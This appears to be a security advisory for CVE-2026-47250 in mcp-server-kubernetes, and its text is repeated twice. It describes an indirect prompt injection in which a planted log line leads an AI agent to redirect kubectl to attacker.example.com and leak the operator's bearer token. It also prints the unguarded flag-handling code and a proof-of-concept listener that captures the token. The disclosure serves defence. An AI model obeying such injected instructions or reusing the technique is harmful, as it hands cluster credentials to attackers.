CVE-2026-47250

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Summary

The kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account.

The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.

Details

Vulnerable code

src/tools/kubectl-generic.ts, lines 103–118:

if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← also unconstrained
}

Both the flags object and the args array are passed verbatim to execFileSync("kubectl", cmdArgs).

Why two flags are needed

kubectl deliberately suppresses Authorization: Bearer headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together:

| Flag | Purpose | |------|---------| | --server=https://attacker.com | Redirects kubectl API calls to attacker's endpoint | | --insecure-skip-tls-verify=true | Allows attacker's self-signed cert; triggers credential sending |

Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible.

PoC

Step 1 - Static verification

# Confirm the flag loop has no allowlist:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

Expected output shows cmdArgs.push(--${key}=${value}) with no allowlist check.

Step 2 - kubectl behaviour test (confirms HTTPS required)

# Start a minimal HTTPS listener with a self-signed cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 - <<'EOF'
import ssl, threading, json
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        print(f"Authorization: {self.headers.get('authorization','<none>')}")
        self.send_response(401); self.end_headers()

srv = HTTPServer(("127.0.0.1", 19001), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem")
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start()

import subprocess, time; time.sleep(0.3)
subprocess.run([
    "kubectl", "get", "pods",
    "--server=https://127.0.0.1:19001",
    "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE",
    "--insecure-skip-tls-verify=true"
], capture_output=True)
time.sleep(0.3)
EOF

Expected output:

Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE

This confirms: kubectl sends the bearer token…

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Summary

The kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account.

The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.

Details

Vulnerable code

src/tools/kubectl-generic.ts, lines 103–118:

if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← also unconstrained
}

Both the flags object and the args array are passed verbatim to execFileSync("kubectl", cmdArgs).

Why two flags are needed

kubectl deliberately suppresses Authorization: Bearer headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together:

| Flag | Purpose | |------|---------| | --server=https://attacker.com | Redirects kubectl API calls to attacker's endpoint | | --insecure-skip-tls-verify=true | Allows attacker's self-signed cert; triggers credential sending |

Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible.

PoC

Step 1 - Static verification

# Confirm the flag loop has no allowlist:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

Expected output shows cmdArgs.push(--${key}=${value}) with no allowlist check.

Step 2 - kubectl behaviour test (confirms HTTPS required)

# Start a minimal HTTPS listener with a self-signed cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 - <<'EOF'
import ssl, threading, json
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        print(f"Authorization: {self.headers.get('authorization','<none>')}")
        self.send_response(401); self.end_headers()

srv = HTTPServer(("127.0.0.1", 19001), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem")
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start()

import subprocess, time; time.sleep(0.3)
subprocess.run([
    "kubectl", "get", "pods",
    "--server=https://127.0.0.1:19001",
    "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE",
    "--insecure-skip-tls-verify=true"
], capture_output=True)
time.sleep(0.3)
EOF

Expected output:

Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE

This confirms: kubectl sends the bearer token…